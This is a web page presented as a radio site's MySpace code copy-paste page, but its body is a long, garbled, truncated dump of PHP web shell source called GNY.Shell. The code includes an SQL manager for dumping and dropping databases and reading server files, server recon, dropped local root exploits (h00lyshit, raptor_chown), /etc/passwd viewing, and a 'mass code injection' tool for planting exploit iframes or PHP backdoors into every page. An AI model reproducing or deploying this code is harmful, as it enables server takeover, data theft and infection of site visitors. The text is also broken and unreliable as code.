Top Banner
The Coolest Internet Radio
HomeAbout UsAdvertiseBookmark this site
  • radio stations
  • reviews
  • Community forums
  • entertainment news

myspace codes

Click "Select All" button & then copy paste (CTRL+C - CTRL+V) to your web page.
90's Country


 
\"; if ($tbl_struct) { echo \"Fields:
\"; foreach ($tbl_struct as $field) {$name = $field[\"Field\"]; echo \"+ \".$name.\"
\";} echo \"\"; } } if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;} } } if (!function_exists(\"mysql_create_db\")) { function mysql_create_db($db,$sock=\"\") { $sql = \"CREATE DATABASE `\".addslashes($db).\"`;\"; if ($sock) {return mysql_query($sql,$sock);} else {return mysql_query($sql);} } } if (!function_exists(\"mysql_query_parse\")) { function mysql_query_parse($query) { $query = trim($query); $arr = explode (\" \",$query); /*array array() { \"METHOD\"=>array(output_type), \"METHOD1\"... ... } if output_type == 0, no output, if output_type == 1, no output if no error if output_type == 2, output without control-buttons if output_type == 3, output with control-buttons */ $types = array( \"SELECT\"=>array(3,1), \"SHOW\"=>array(2,1), \"DELETE\"=>array(1), \"DROP\"=>array(1) ); $result = array(); $op = strtoupper($arr[0]); if (is_array($types[$op])) { $result[\"propertions\"] = $types[$op]; $result[\"query\"] = $query; if ($types[$op] == 2) { foreach($arr as $k=>$v) { if (strtoupper($v) == \'LIMIT\') { $result[\"limit\"] = $arr[$k+1]; $result[\"limit\"] = explode(\",\",$result[\"limit\"]); if (count($result[\"limit\"]) == 1) {$result[\"limit\"] = array(0,$result[\"limit\"][0]);} unset($arr[$k],$arr[$k+1]); } } } } else {return FALSE;} } } if (!function_exists(\'fsearch\')) { function fsearch($d) { global $found; global $found_d; global $found_f; global $search_i_f; global $search_i_d; global $a; if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $h = opendir($d); while (($f = readdir($h)) !== FALSE) { if($f != \".\" && $f != \"..\") { $bool = (empty($a[\"name_regexp\"]) and strpos($f,$a[\"name\"]) !== FALSE) || ($a[\"name_regexp\"] and ereg($a[\"name\"],$f)); if (is_dir($d.$f)) { $search_i_d++; if (empty($a[\"text\"]) and $bool) {$found[] = $d.$f; $found_d++;} if (!is_link($d.$f)) {fsearch($d.$f);} } else { $search_i_f++; if ($bool) { if (!empty($a[\"text\"])) { $r = @file_get_contents($d.$f); if ($a[\"text_wwo\"]) {$a[\"text\"] = \" \".trim($a[\"text\"]).\" \";} if (!$a[\"text_cs\"]) {$a[\"text\"] = strtolower($a[\"text\"]); $r = strtolower($r);} if ($a[\"text_regexp\"]) {$bool = ereg($a[\"text\"],$r);} else {$bool = strpos(\" \".$r,$a[\"text\"],1);} if ($a[\"text_not\"]) {$bool = !$bool;} if ($bool) {$found[] = $d.$f; $found_f++;} } else {$found[] = $d.$f; $found_f++;} } } } } closedir($h); } } if ($act == \'gofile\') {if (is_dir($f)) {$act = \'ls\'; $d = $f;} else {$act = \'f\'; $d = dirname($f); $f = basename($f);}} //Sending headers @ob_start(); @ob_implicit_flush(0); function onphpshutdown() { global $gzipencode,$ft; if (!headers_sent() and $gzipencode and !in_array($ft,array(\"img\",\"download\",\"notepad\"))) { $v = @ob_get_contents(); @ob_end_clean(); @ob_start(\"ob_gzHandler\"); echo $v; @ob_end_flush(); } } function GNYexit() { onphpshutdown(); exit; } header(\"Expires: Mon, 26 Jul 1997 05:00:00 GMT\"); header(\"Last-Modified: \".gmdate(\"D, d M Y H:i:s\").\" GMT\"); header(\"Cache-Control: no-store, no-cache, must-revalidate\"); header(\"Cache-Control: post-check=0, pre-check=0\", FALSE); header(\"Pragma: no-cache\"); if (empty($tmpdir)) { $tmpdir = ini_get(\"upload_tmp_dir\"); if (is_dir($tmpdir)) {$tmpdir = \"/tmp/\";} } $tmpdir = realpath($tmpdir); $tmpdir = str_replace(\"\\\\\",DIRECTORY_SEPARATOR,$tmpdir); if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;} if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;} else {$tmpdir_logs = realpath($tmpdir_logs);} if (@ini_get(\"safe_mode\") or strtolower(@ini_get(\"safe_mode\")) == \"on\") { $safemode = TRUE; $hsafemode = \"ON (secure)\"; } else {$safemode = FALSE; $hsafemode = \"OFF (not secure)\";} $v = @ini_get(\"open_basedir\"); if ($v or strtolower($v) == \"on\") {$openbasedir = TRUE; $hopenbasedir = \"\".$v.\"\";} else {$openbasedir = FALSE; $hopenbasedir = \"OFF (not secure)\";} $sort = htmlspecialchars($sort); if (empty($sort)) {$sort = $sort_default;} $sort[1] = strtolower($sort[1]); $DISP_SERVER_SOFTWARE = getenv(\"SERVER_SOFTWARE\"); if (!ereg(\"PHP/\".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= \". PHP/\".phpversion();} $DISP_SERVER_SOFTWARE = str_replace(\"PHP/\".phpversion(),\"PHP/\".phpversion().\"\",htmlspecialchars($DISP_SERVER_SOFTWARE)); @ini_set(\"highlight.bg\",$highlight_bg); //FFFFFF @ini_set(\"highlight.comment\",$highlight_comment); //#FF8000 @ini_set(\"highlight.default\",$highlight_default); //#0000BB @ini_set(\"highlight.html\",$highlight_html); //#000000 @ini_set(\"highlight.keyword\",$highlight_keyword); //#007700 @ini_set(\"highlight.string\",$highlight_string); //#DD0000 if (!is_array($actbox)) {$actbox = array();} $dspact = $act = htmlspecialchars($act); $disp_fullpath = $ls_arr = $notls = null; $ud = urlencode($d); // took the disabled functions from r57shell ?> Social working - Google Search
  _____ _   ___     __ _____ _          _ _ 
 / ____| \\ | \\ \\   / // ____| |        | | |
| |  __|  \\| |\\ \\_/ /| (___ | |__   ___| | |
| | |_ | . ` | \\   /  \\___ \\| \'_ \\ / _ \\ | |
| |__| | |\\  |  | | _ ____) | | | |  __/ | |
 \\_____|_| \\_|  |_|(_)_____/|_| |_|\\___|_|_|
\'; ?>
Kernel: \',1); if($win) echo \' (\'.exec(\'ver\').\')\'; ?>Safe-Mode:
\',1);} else {echo \'Running As: \'.get_current_user();} ?>Disabled PHP Functions: NONE\';}else{echo \'
\'.str_replace(\',\', \', \', $df).\'\';} ?>cURL: \".(($curl_on)?(\"ON\"):(\"OFF\")); ?>
Free \'.view_size($free).\' of \'.view_size($total).\' (\'.$free_percent.\'%)\'; } echo \'Server IP: \'.gethostbyname($_SERVER[\"HTTP_HOST\"]).\' - Your IP: \'.$_SERVER[\"REMOTE_ADDR\"].\'

\'.htmlspecialchars($b).DIRECTORY_SEPARATOR.\'\'; $i++; } echo \'   \'; if (is_writable($d)) { $wd = TRUE; $wdt = \"[ ok ]\"; echo \"\".view_perms(fileperms($d)).\"\"; } else { $wd = FALSE; $wdt = \"[ Read-Only ]\"; echo \'\'.view_perms_color($d).\'\'; } echo \'
\'; $letters = \'\'; if ($win) { $v = explode(\"\\\\\",$d); $v = $v[0]; foreach (range(\'a\',\'z\') as $letter) { $bool = $isdiskette = in_array($letter,$safemode_diskettes); if (!$bool) {$bool = is_dir($letter.\":\\\\\");} if ($bool) { $letters .= \"[\"; if ($letter.\":\" != $v) {$letters .= strtoupper($letter);} else {$letters .= \'\'.strtoupper($letter).\'\';} $letters .= \":] \"; } } if (!empty($letters)) {echo \"Detected drives: \".$letters.\"
\";} } if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $item[1] = str_replace(\"%d\",urlencode($d),$item[1]); $item[1] = str_replace(\"%sort\",$sort,$item[1]); $v = realpath($d.\"..\"); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace(\"%upd\",urlencode($v),$item[1]); echo \"\".$item[0].\"    \"; } } if (count($quicklaunch2) > 0) { echo \'
\'; foreach($quicklaunch2 as $item) { $item[1] = str_replace(\'%d\',urlencode($d),$item[1]); $item[1] = str_replace(\'%sort\',$sort,$item[1]); $v = realpath($d.\'..\'); if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);} $item[1] = str_replace(\'%upd\',urlencode($v),$item[1]); echo \"\".$item[0].\"    \"; } } /* echo \'

\'; echo \'


\'; */ if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo \"
\".$donated_html.\"

\";} echo \"
\"; if ($act == \'\') {$act = $dspact = \'ls\';} if ($act == \'sql\') { $sql_surl = $surl.\'act=sql\'; if ($sql_login) {$sql_surl .= \'&sql_login=\'.htmlspecialchars($sql_login);} if ($sql_passwd) {$sql_surl .= \'&sql_passwd=\'.htmlspecialchars($sql_passwd);} if ($sql_server) {$sql_surl .= \'&sql_server=\'.htmlspecialchars($sql_server);} if ($sql_port) {$sql_surl .= \'&sql_port=\'.htmlspecialchars($sql_port);} if ($sql_db) {$sql_surl .= \'&sql_db=\'.htmlspecialchars($sql_db);} $sql_surl .= \"&\"; ?>\'; if (!$sql_sock) {?>\"; } echo \"

MySQL: \"; $mysql_on = @function_exists(\'mysql_connect\'); if($mysql_on){ echo \"ON\"; } else { echo \"OFF\"; } echo \"
MSSQL: \"; $mssql_on = @function_exists(\'mssql_connect\'); if($mssql_on){echo \"ON\";}else{echo \"OFF\";} ?>PostgreSQL: \"; $pg_on = @function_exists(\'pg_connect\'); if($pg_on){echo \"ON\";}else{echo \"OFF\";} ?>Oracle: \"; $ora_on = @function_exists(\'ocilogon\'); if($ora_on){echo \"ON\";}else{echo \"OFF\";} ?>  

SQL Manager:
\'; if (!$sql_sock) { if (!$sql_server) {echo \'NO CONNECTION\';} else {echo \"
Can\'t connect
\"; echo \"\".$err.\"\";} } else { $sqlquicklaunch = array(); $sqlquicklaunch[] = array(\"Index\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&\"); $sqlquicklaunch[] = array(\"Query\",$sql_surl.\"sql_act=query&sql_tbl=\".urlencode($sql_tbl)); $sqlquicklaunch[] = array(\"Server-status\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=serverstatus\"); $sqlquicklaunch[] = array(\"Server variables\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=servervars\"); $sqlquicklaunch[] = array(\"Processes\",$surl.\"act=sql&sql_login=\".htmlspecialchars($sql_login).\"&sql_passwd=\".htmlspecialchars($sql_passwd).\"&sql_server=\".htmlspecialchars($sql_server).\"&sql_port=\".htmlspecialchars($sql_port).\"&sql_act=processes\"); $sqlquicklaunch[] = array(\"Logout\",$surl.\"act=sql\"); echo \"
MySQL \".mysql_get_server_info().\" (proto v.\".mysql_get_proto_info ().\") running in \".htmlspecialchars($sql_server).\":\".htmlspecialchars($sql_port).\" as \".htmlspecialchars($sql_login).\"@\".htmlspecialchars($sql_server).\" (password - \\\"\".htmlspecialchars($sql_passwd).\"\\\")
\"; if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo \"[ \".$item[0].\" ] \";}} echo \'
\'; } echo \'
  • If login is null, login is owner of process.
  • If host is null, host is localhost (default).
  • If port is null, port is 3306 (default).
  •  Please, fill the form:\" method=POST>
    UsernamePasswordDatabase
    HostPort
    \">Home
    \".htmlspecialchars($sql_db).\" ]:.
    \"; $c = 0; while ($row = mysql_fetch_array($result)) {$count = mysql_query (\"SELECT COUNT(*) FROM \".$row[0]); $count_row = mysql_fetch_array($count); echo \"\".htmlspecialchars($row[0]).\" (\".$count_row[0].\")
    \"; mysql_free_result($count); $c++;} if (!$c) {echo \'No tables found in database.\';} } } else { ?>
    \">Home
    \">\">\">\">\">
    Please, select database
    \"; //Start center panel $diplay = TRUE; if ($sql_db) { if (!is_numeric($c)) {$c = 0;} if ($c == 0) {$c = \"no\";} echo \"
    There are \".$c.\" table(s) in this DB (\".htmlspecialchars($sql_db).\").
    \"; if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo \"[ \".$item[0].\" ] \";}} echo \"
    \"; $acts = array(\"\",\"dump\"); if ($sql_act == \"tbldrop\") {$sql_query = \"DROP TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tblempty\") {$sql_query = \"\"; foreach($boxtbl as $v) {$sql_query .= \"DELETE FROM `\".$v.\"` \\n\";} $sql_act = \"query\";} elseif ($sql_act == \"tbldump\") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = \"dump\";} elseif ($sql_act == \"tblcheck\") {$sql_query = \"CHECK TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tbloptimize\") {$sql_query = \"OPTIMIZE TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tblrepair\") {$sql_query = \"REPAIR TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"tblanalyze\") {$sql_query = \"ANALYZE TABLE\"; foreach($boxtbl as $v) {$sql_query .= \"\\n`\".$v.\"` ,\";} $sql_query = substr($sql_query,0,-1).\";\"; $sql_act = \"query\";} elseif ($sql_act == \"deleterow\") {$sql_query = \"\"; if (!empty($boxrow_all)) {$sql_query = \"DELETE * FROM `\".$sql_tbl.\"`;\";} else {foreach($boxrow as $v) {$sql_query .= \"DELETE * FROM `\".$sql_tbl.\"` WHERE\".$v.\" LIMIT 1;\\n\";} $sql_query = substr($sql_query,0,-1);} $sql_act = \"query\";} elseif ($sql_tbl_act == \"insert\") { if ($sql_tbl_insert_radio == 1) { $keys = \'\'; $akeys = array_keys($sql_tbl_insert); foreach ($akeys as $v) {$keys .= \"`\".addslashes($v).\"`, \";} if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} $values = \"\"; $i = 0; foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct.\" (\";} $values .= \"\'\".addslashes($v).\"\'\"; if ($funct) {$values .= \")\";} $values .= \", \"; $i++;} if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} $sql_query = \"INSERT INTO `\".$sql_tbl.\"` ( \".$keys.\" ) VALUES ( \".$values.\" );\"; $sql_act = \"query\"; $sql_tbl_act = \"browse\"; } elseif ($sql_tbl_insert_radio == 2) { $set = mysql_buildwhere($sql_tbl_insert,\", \",$sql_tbl_insert_functs); $sql_query = \"UPDATE `\".$sql_tbl.\"` SET \".$set.\" WHERE \".$sql_tbl_insert_q.\" LIMIT 1;\"; $result = mysql_query($sql_query) or print(mysql_smarterror()); $result = mysql_fetch_array($result, MYSQL_ASSOC); $sql_act = \"query\"; $sql_tbl_act = \"browse\"; } } if ($sql_act == \"query\") { echo \"
    \"; if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = \"Query was empty\";} echo \"Error:
    \".$sql_query_error.\"
    \";} if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} if ((!$submit) or ($sql_act)) {echo \"
    \"; if (($sql_query) and (!$submit)) {echo \"Do you really want to:\";} else {echo \"SQL-Query :\";} echo \"



     
    \";} } if (in_array($sql_act,$acts)) { ?>
    Create new table:
    \">\">\">\">\">\"> 
    Dump DB:
    \">\">\">\">\">\">\"> 
    \";} if ($sql_act == \"newtbl\") { echo \"\"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB \\\"\".htmlspecialchars($sql_newdb).\"\\\" has been created with success!
    \"; } else {echo \"Can\'t create DB \\\"\".htmlspecialchars($sql_newdb).\"\\\".
    Reason: \".mysql_smarterror();} } elseif ($sql_act == \"dump\") { if (empty($submit)) { $diplay = FALSE; echo \"
    SQL-Dump:

    \"; echo \"DB: 

    \"; $v = join (\";\",$dmptbls); echo \"Only tables (explode \\\";\\\") 1: 

    \"; if ($dump_file) {$tmp = $dump_file;} else {$tmp = htmlspecialchars(\"./dump_\".getenv(\"SERVER_NAME\").\"_\".$sql_db.\"_\".date(\"d-m-Y-H-i-s\").\".sql\");} echo \"File: 

    \"; echo \"Download:  

    \"; echo \"Save to file:  \"; echo \"



    1 - all, if empty\"; echo \"
    \"; } else { $diplay = TRUE; $set = array(); $set[\'sock\'] = $sql_sock; $set[\'db\'] = $sql_db; $dump_out = \'download\'; $set[\'print\'] = 0; $set[\'nl2br\'] = 0; $set[\'\'] = 0; $set[\'file\'] = $dump_file; $set[\'add_drop\'] = TRUE; $set[\'onlytabs\'] = array(); if (!empty($dmptbls)) {$set[\'onlytabs\'] = explode(\';\',$dmptbls);} $ret = mysql_dump($set); if ($sql_dump_download) { @ob_clean(); header(\"Content-type: application/octet-stream\"); header(\"Content-length: \".strlen($ret)); header(\"Content-disposition: attachment; filename=\\\"\".basename($sql_dump_file).\"\\\";\"); echo $ret; exit; } elseif ($sql_dump_savetofile) { $fp = fopen($sql_dump_file,\"w\"); if (!$fp) {echo \"Dump error! Can\'t write to \\\"\".htmlspecialchars($sql_dump_file).\"\\\"!\";} else { fwrite($fp,$ret); fclose($fp); echo \"Dumped! Dump has been writen to \\\"\".htmlspecialchars(realpath($sql_dump_file)).\"\\\" (\".view_size(filesize($sql_dump_file)).\").\"; } } else {echo \"Dump: nothing to do!\";} } } if ($diplay) { if (!empty($sql_tbl)) { if (empty($sql_tbl_act)) {$sql_tbl_act = \"browse\";} $count = mysql_query(\"SELECT COUNT(*) FROM `\".$sql_tbl.\"`;\"); $count_row = mysql_fetch_array($count); mysql_free_result($count); $tbl_struct_result = mysql_query(\"SHOW FIELDS FROM `\".$sql_tbl.\"`;\"); $tbl_struct_fields = array(); while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} $perpage = $sql_tbl_le - $sql_tbl_ls; if (!is_numeric($perpage)) {$perpage = 10;} $numpages = $count_row[0]/$perpage; $e = explode(\" \",$sql_order); if (count($e) == 2) { if ($e[0] == \"d\") {$asc_desc = \"DESC\";} else {$asc_desc = \"ASC\";} $v = \"ORDER BY `\".$e[1].\"` \".$asc_desc.\" \"; } else {$v = \"\";} $query = \"SELECT * FROM `\".$sql_tbl.\"` \".$v.\"LIMIT \".$sql_tbl_ls.\" , \".$perpage.\"\"; $result = mysql_query($query) or print(mysql_smarterror()); echo \"
    Table \".htmlspecialchars($sql_tbl).\" (\".mysql_num_fields($result).\" cols and \".$count_row[0].\" rows)
    \"; echo \"Structure ]   \"; echo \"Browse ]   \"; echo \"Dump ]   \"; echo \"Insert ]   \"; if ($sql_tbl_act == \"structure\") {echo \"

    Coming sooon!\";} if ($sql_tbl_act == \"insert\") { if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} if (!empty($sql_tbl_insert_radio)) { } else { echo \'

    Inserting row into table:
    \'; if (!empty($sql_tbl_insert_q)) { $sql_query = \"SELECT * FROM `\".$sql_tbl.\"`\"; $sql_query .= \" WHERE\".$sql_tbl_insert_q; $sql_query .= \" LIMIT 1;\"; $result = mysql_query($sql_query,$sql_sock) or print(\"

    \".mysql_smarterror()); $values = mysql_fetch_assoc($result); mysql_free_result($result); } else {$values = array();} echo \"
    \"; foreach ($tbl_struct_fields as $field) { $name = $field[\"Field\"]; if (empty($sql_tbl_insert_q)) {$v = \"\";} echo \"\"; $i++; } echo \"
    FieldTypeFunctionValue
    \".htmlspecialchars($name).\"\".$field[\"Type\"].\"

    \"; echo \"Insert as new row\"; if (!empty($sql_tbl_insert_q)) {echo \" or Save\"; echo \"\";} echo \"

    \"; } } if ($sql_tbl_act == \"browse\") { $sql_tbl_ls = abs($sql_tbl_ls); $sql_tbl_le = abs($sql_tbl_le); echo \"
    \"; echo \"[Pages] \"; $b = 0; for($i=0;$i<$numpages;$i++) { if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo \"\";} echo $i; if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo \"\";} if (($i/30 == round($i/30)) and ($i > 0)) {echo \"
    \";} else {echo \" \";} } if ($i == 0) {echo \"empty\";} echo \"
    From:  To:  
    \"; echo \"
    \"; echo \"\"; echo \"\"; for ($i=0;$i\"; if (empty($e[0])) {$e[0] = \"a\";} if ($e[1] != $v) {echo \"\".$v.\"\";} else {echo \"\".$v.\"[sort]\";} echo \"\"; } echo \"\"; echo \'\'; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { echo \"\"; $w = \"\"; $i = 0; foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= \" `\".$name.\"` = \'\".addslashes($v).\"\' AND\"; $i++;} if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} echo \"\"; $i = 0; foreach ($row as $k=>$v) { $v = htmlspecialchars($v); if ($v == \"\") {$v = \"NULL\";} echo \"\"; $i++; } echo \"\"; echo \"\"; } mysql_free_result($result); echo \"
    Action
    \".$v.\"\"; echo \"[Delete] \"; echo \"[Edit] \"; echo \"

     

    \"; } } else { $result = mysql_query(\"SHOW TABLE STATUS\", $sql_sock); if (!$result) {echo mysql_smarterror();} else { echo \"
    \"; $i = 0; $tsize = $trows = 0; while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $tsize += $row[\"Data_length\"]; $trows += $row[\"Rows\"]; $size = view_size($row[\"Data_length\"]); echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; $i++; } echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"\"; echo \"
    Table
    RowsTypeCreatedModifiedSizeAction
     \".$row[\"Name\"].\" \".$row[\"Rows\"].\"\".$row[\"Type\"].\"\".$row[\"Create_time\"].\"\".$row[\"Update_time\"].\"\".$size.\" [Empty]  [Drop] [Insert] 
    +
    \".$i.\" table(s)
    \".$trows.\"\".$row[1].\"\".$row[10].\"\".$row[11].\"\".view_size($tsize).\"

     

    \"; mysql_free_result($result); } } } } } else { $acts = array(\"\",\"newdb\",\"serverstatus\",\"servervars\",\"processes\",\"getfile\"); if (in_array($sql_act,$acts)) {?>
    Create new Database:
    \">\">\">\">\"> 
    View File:
    \">\">\">\">\">\"> 
    \"; if ($sql_act == \"newdb\") { echo \"\"; if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB \\\"\".htmlspecialchars($sql_newdb).\"\\\" has been created with success!
    \";} else {echo \"Can\'t create DB \\\"\".htmlspecialchars($sql_newdb).\"\\\".
    Reason:
    \".mysql_smarterror();} } if ($sql_act == \"serverstatus\") { $result = mysql_query(\"SHOW STATUS\", $sql_sock); echo \"
    Server-status variables:

    \"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo \"\";} echo \"
    NameValue
    \".$row[0].\"\".$row[1].\"
    \"; mysql_free_result($result); } if ($sql_act == \"servervars\") { $result = mysql_query(\"SHOW VARIABLES\", $sql_sock); echo \"
    Server variables:

    \"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo \"\";} echo \"
    NameValue
    \".$row[0].\"\".$row[1].\"
    \"; mysql_free_result($result); } if ($sql_act == \"processes\") { if (!empty($kill)) {$query = \"KILL \".$kill.\";\"; $result = mysql_query($query, $sql_sock); echo \"Killing process #\".$kill.\"... ok. he is dead, amen.\";} $result = mysql_query(\"SHOW PROCESSLIST\", $sql_sock); echo \"
    Processes:

    \"; echo \"\"; while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"\";} echo \"
    IDUSERHOSTDBCOMMANDTIMESTATEINFOAction
    \".$row[0].\"\".$row[1].\"\".$row[2].\"\".$row[3].\"\".$row[4].\"\".$row[5].\"\".$row[6].\"\".$row[7].\"Kill
    \"; mysql_free_result($result); } if ($sql_act == \"getfile\") { $tmpdb = $sql_login.\"_tmpdb\"; $select = mysql_select_db($tmpdb); if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} if ($select) { $created = FALSE; mysql_query(\"CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );\"); mysql_query(\"LOAD DATA INFILE \\\"\".addslashes($sql_getfile).\"\\\" INTO TABLE tmp_file\"); $result = mysql_query(\"SELECT * FROM tmp_file;\"); if (!$result) {echo \"Error in reading file (permision denied)!\";} else { for ($i=0;$iFile \\\"\".$sql_getfile.\"\\\" does not exists or empty!
    \";} else {echo \"File \\\"\".$sql_getfile.\"\\\":
    \".nl2br(htmlspecialchars($f)).\"
    \";} mysql_free_result($result); mysql_query(\"DROP TABLE tmp_file;\"); } } mysql_drop_db($tmpdb); //comment it if you want to leave database } } } } echo \"
    \"; if ($sql_sock) { $affected = @mysql_affected_rows($sql_sock); if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} echo \"
    Affected rows: \".$affected.\"
    \"; } if ($act == \"mkdir\") { if ($mkdir != $d) { if (file_exists($mkdir)) {echo \"Make Dir \\\"\".htmlspecialchars($mkdir).\"\\\": object alredy exists\";} elseif (!mkdir($mkdir)) {echo \"Make Dir \\\"\".htmlspecialchars($mkdir).\"\\\": access denied\";} echo \'

    \'; } $act = $dspact = \'ls\'; } if ($act == \'d\') { if (!is_dir($d)) {echo \"
    Permision denied!
    \";} else { echo \"Directory information:\"; if (!$win) { echo \"
    Owner/Group \"; $ow = posix_getpwuid(fileowner($d)); $gr = posix_getgrgid(filegroup($d)); $row[] = ($ow[\"name\"]?$ow[\"name\"]:fileowner($d)).\"/\".($gr[\"name\"]?$gr[\"name\"]:filegroup($d)); } echo \"
    Perms\".view_perms_color($d).\"
    Create time \".date(\"d/m/Y H:i:s\",filectime($d)).\"
    Access time \".date(\"d/m/Y H:i:s\",fileatime($d)).\"
    MODIFY time \".date(\"d/m/Y H:i:s\",filemtime($d)).\"

    \"; } } if ($act == \'phpinfoframe\') {@ob_clean(); phpinfo(); GNYexit();} if ($act == \'phpinfo\') { echo \'\'; } if ($act == \'exploit\') { echo \'

    \'; } if ($act == \'exploits\') { ?> Exploits:

    All exploits are pre-compiled. Just follow the directions.

    h00lyshit - Local Race Exploit
    method=GET> Path to extract to: \"> (must have final /)
    h00lyshit was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/h00lyshit\', 0777); }else{ echo \'Directory is not writable!
    \'; } } // end if h00lyshit was called ?>

    raptor_chown - Group Modification Exploit
    method=GET> Path to extract to: \"> (must have final /)
    raptor_chown was created in \'.htmlentities($_GET[\'path\']).\'\'; chmod($_GET[\'path\'].\'/raptor_chown\', 0777); }else{ echo \'Directory is not writable!
    \'; } } // end if raptor_chown was called } // end if exploits is called if ($act == \'massbrowsersploit\') { ?> Mass Code Injection:

    Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.

    \" method=GET>
    Dir to inject: \"> <-- default is dir this shell is in
    Code to inject: <-- best bet would be to include an invisible iframe of browser exploits
    \'.$injectj00.\' was injected
    \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } foreach (glob($_GET[\'pathtomass\'].\"/*.htm\") as $injectj00) { $fp=fopen($injectj00,\"a+\"); if (fputs($fp,$lolinject)){ echo $injectj00.\' was injected
    \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } foreach (glob($_GET[\'pathtomass\'].\"/*.html\") as $injectj00) { $fp=fopen($injectj00,\"a+\"); if (fputs($fp,$lolinject)){ echo $injectj00.\' was injected
    \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo \'\'.$_GET[\'pathtomass\'].\' is not available!\'; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is go //new php backdoor ?> Mass Code Injection:

    Use this to add PHP to the end of every .php page in the directory specified.

    \" method=GET>
    Dir to inject: \"> <-- default is dir this shell is in
    Code to inject:
    \'.$injectj00.\' was injected
    \'; } else { echo \'failed to inject \'.$injectj00.\'\'; } } } else { //end if inputted dir is real -- if not, show an ugly red error echo \'\'.$_GET[\'pathtomass\'].\' is not available!\'; } // end if inputted dir is real, for real this time } // end if confirmation to mass sploit is php only } // end if massbrowsersploit is called if ($act == \'security\') { echo \"
    Server security information:
    Open base dir: \".$hopenbasedir.\"
    \"; if (!$win) { if ($nixpasswd) { if ($nixpasswd == 1) {$nixpasswd = 0;} echo \"*nix /etc/passwd:
    \"; if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} echo \"
    From:  To:  

